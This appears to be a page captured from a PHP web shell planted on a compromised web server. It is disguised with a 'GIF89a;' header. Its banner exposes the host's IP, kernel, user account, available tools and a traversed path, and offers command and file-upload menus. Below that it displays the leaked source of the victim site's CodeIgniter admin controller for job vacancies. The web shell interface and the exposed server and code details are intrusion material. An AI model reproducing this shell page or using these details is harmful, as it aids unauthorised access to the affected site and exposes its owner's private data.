GIF89a;
Server IP : 172.26.0.195 / Your IP : 3.16.51.237 Web Server : Apache System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64 User : jnclnmuac ( 1026) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/jnclnmuac/public_html/web/../css/../jobs/application/controllers/admin/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php /* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ /** * Description of Vacancy * * @author Softpro India Pvt. Ltd */ class Vacancy extends CI_Controller { //put your code here public function __construct() { parent::__construct(); $this->load->model("admin/VacancyManagement"); $this->load->model("admin/DesignationManagement"); $this->load->model("admin/SessionManagement"); $this->load->model("admin/DepartmentManagement"); $this->load->model("admin/CategoryManagement"); } public function index() { if ($this->sessionvalidator->validateSession()) { $viewData["vacancies"] = $this->VacancyManagement->getVacancies()->result(); $this->load->view("admin/vacancies", $viewData); } else { redirect("admin"); } } public function createVacancy() { if ($this->sessionvalidator->validateSession()) { $viewData["departments"] = $this->DepartmentManagement->getDepartments('T', 'F')->result(); $viewData["categories"] = $this->CategoryManagement->getCategories('T', 'F')->result(); $viewData["sessions"] = $this->SessionManagement->getSessions('T', 'F')->result(); $this->load->view("admin/createVacancy", $viewData); } else { redirect("admin"); } } public function saveVacancy() { if ($this->sessionvalidator->validateSession()) { $this->form_validation->set_rules("desig_id", "designation", "required", array("required" => "Select Designation.")); $this->form_validation->set_rules("dm_id", "Department", "required", array("required" => "Select Department.")); $this->form_validation->set_rules("openings", "no. of openings", "required", array("required" => "Enter No. Of opening.")); $this->form_validation->set_rules("startDate", "start date", "required", array("required" => "Choose Start Date.")); $this->form_validation->set_rules("endDate", "end date", "required", array("required" => "Choose End Date.")); $this->form_validation->set_rules("forYear", "for year", "required", array("required" => "Select For Year.")); $this->form_validation->set_rules("session_id", "session", "required", array("required" => "Select Session.")); if ($this->form_validation->run() == false) { $this->createVacancy(); } else { $startDate = $this->input->post("startDate"); $endDate = $this->input->post("endDate"); $openings = $this->input->post("openings"); $desig_id = $this->input->post("desig_id"); $dm_id = $this->input->post("dm_id"); $session_id = $this->input->post("session_id"); $forYear = $this->input->post("forYear"); $vacancyData = array( "start_date" => date('Y-m-d', strtotime(str_replace('/', '-', $startDate))), "end_date" => date('Y-m-d', strtotime(str_replace('/', '-', $endDate))), "no_of_openings" => $openings, "vm_for_year" => $forYear, "session_id" => $session_id, "desig_id" => $desig_id, "dm_id" => $dm_id, "vm_added_on" => date("Y-m-d H:i:s"), "vm_updated_on" => date("Y-m-d H:i:s")); $data = $this->VacancyManagement->checkVacancyAvailability($vacancyData)->result(); if (sizeof($data) > 0) { if (date("Y-m-d",strtotime($data[0]->end_date)) > date("Y-m-d",strtotime($startDate))) { $this->session->set_flashdata("errorMessage", "Vacancy Already Published, Try Adding Vacancy With Start Date After " . date("d-m-Y", strtotime($data[0]->end_date))); $this->createVacancy(); } else { if ($this->VacancyManagement->saveVacancy($vacancyData) > 0) { $this->session->set_flashdata("successMessage", "Vacancy Saved Successfully."); $this->index(); } else { $this->session->set_flashdata("errorMessage", "Failed To Save Vacancy."); $this->createVacancy(); } } } else { if ($this->VacancyManagement->saveVacancy($vacancyData) > 0) { $this->session->set_flashdata("successMessage", "Vacancy Saved Successfully."); $this->index(); } else { $this->session->set_flashdata("errorMessage", "Failed To Save Vacancy."); $this->createVacancy(); } } } } else { redirect("admin"); } } public function editVacancy($vm_id) { if ($this->sessionvalidator->validateSession()) { $viewData["categories"] = $this->CategoryManagement->getCategories('', 'F')->result(); $viewData["departments"] = $this->DepartmentManagement->getDepartments('T', 'F')->result(); $viewData["sessions"] = $this->SessionManagement->getSessions('T', 'F')->result(); $viewData["vacancy"] = $this->VacancyManagement->getVacancyByID($vm_id)->result()[0]; $this->load->view("admin/editVacancy", $viewData); } else { redirect("admin"); } } public function updateVacancy() { if ($this->sessionvalidator->validateSession()) { $this->form_validation->set_rules("desig_id", "designation", "required", array("required" => "Select Designation.")); $this->form_validation->set_rules("dm_id", "Department", "required", array("required" => "Select Department.")); $this->form_validation->set_rules("openings", "no. of openings", "required", array("required" => "Enter No. Of opening.")); $this->form_validation->set_rules("startDate", "start date", "required", array("required" => "Choose Start Date.")); $this->form_validation->set_rules("endDate", "end date", "required", array("required" => "Choose End Date.")); $this->form_validation->set_rules("forYear", "for year", "required", array("required" => "Select For Year.")); $this->form_validation->set_rules("session_id", "session", "required", array("required" => "Select Session.")); $vm_id = $this->input->post("vm_id"); if ($this->form_validation->run() == false) { $this->editVacancy($vm_id); } else { $startDate = $this->input->post("startDate"); $endDate = $this->input->post("endDate"); $openings = $this->input->post("openings"); $desig_id = $this->input->post("desig_id"); $dm_id = $this->input->post("dm_id"); $session_id = $this->input->post("session_id"); $forYear = $this->input->post("forYear"); $vacancyData = array( "start_date" => date('Y-m-d', strtotime(str_replace('/', '-', $startDate))), "end_date" => date('Y-m-d', strtotime(str_replace('/', '-', $endDate))), "no_of_openings" => $openings, "vm_for_year" => $forYear, "session_id" => $session_id, "desig_id" => $desig_id, "dm_id" => $dm_id, "vm_added_on" => date("Y-m-d H:i:s"), "vm_updated_on" => date("Y-m-d H:i:s"), "vm_id" => $vm_id ); $data = $this->VacancyManagement->checkVacancyAvailability($vacancyData, $vm_id)->result(); if (sizeof($data) > 0) { if (date("Y-m-d",strtotime($data[0]->end_date)) > date("Y-m-d",strtotime($startDate))) { $this->session->set_flashdata("errorMessage", "Vacancy Already Published, Try Adding Vacancy With Start Date After " . date("d-m-Y", strtotime($data[0]->end_date))); $this->editVacancy($vm_id); } else { if ($this->VacancyManagement->updateVacancy($vacancyData)) { $this->session->set_flashdata("successMessage", "Vacancy Updated Successfully."); $this->index(); } else { $this->session->set_flashdata("errorMessage", "Failed To Update Vacancy."); $this->editVacancy($vm_id); } } } else { if ($this->VacancyManagement->updateVacancy($vacancyData)) { $this->session->set_flashdata("successMessage", "Vacancy Updated Successfully."); $this->index(); } else { $this->session->set_flashdata("errorMessage", "Failed To Update Vacancy."); $this->editVacancy($vm_id); } } } } else { redirect("admin"); } } public function toggleVacancyStatus($vm_id, $changedStatus) { if ($this->sessionvalidator->validateSession()) { $vacancyData = array( 'vm_id' => $vm_id, 'vm_active_status' => $changedStatus, 'vm_updated_on' => date("Y-m-d H:i:s") ); if ($this->VacancyManagement->updateVacancy($vacancyData)) { $this->session->set_flashdata('successMessage', 'Vacancy Status Updated Successfully.'); redirect("admin/Vacancy"); } else { $this->session->set_flashdata('errorMessage', 'Failed To Update Vacancy Status.'); redirect("admin/Vacancy"); } } else { redirect("admin"); } } public function toggleVacancyDeleteStatus($vm_id, $changedStatus) { if ($this->sessionvalidator->validateSession()) { $vacancyData = array( 'vm_id' => $vm_id, 'vm_delete_status' => $changedStatus, 'vm_updated_on' => date("Y-m-d H:i:s") ); if ($this->VacancyManagement->updateVacancy($vacancyData)) { $this->session->set_flashdata('successMessage', 'Vacancy Deleted Successfully.'); redirect("admin/Vacancy"); } else { $this->session->set_flashdata('errorMessage', 'Failed To Delete Vacancy.'); redirect("admin/Vacancy"); } } else { redirect("admin"); } } }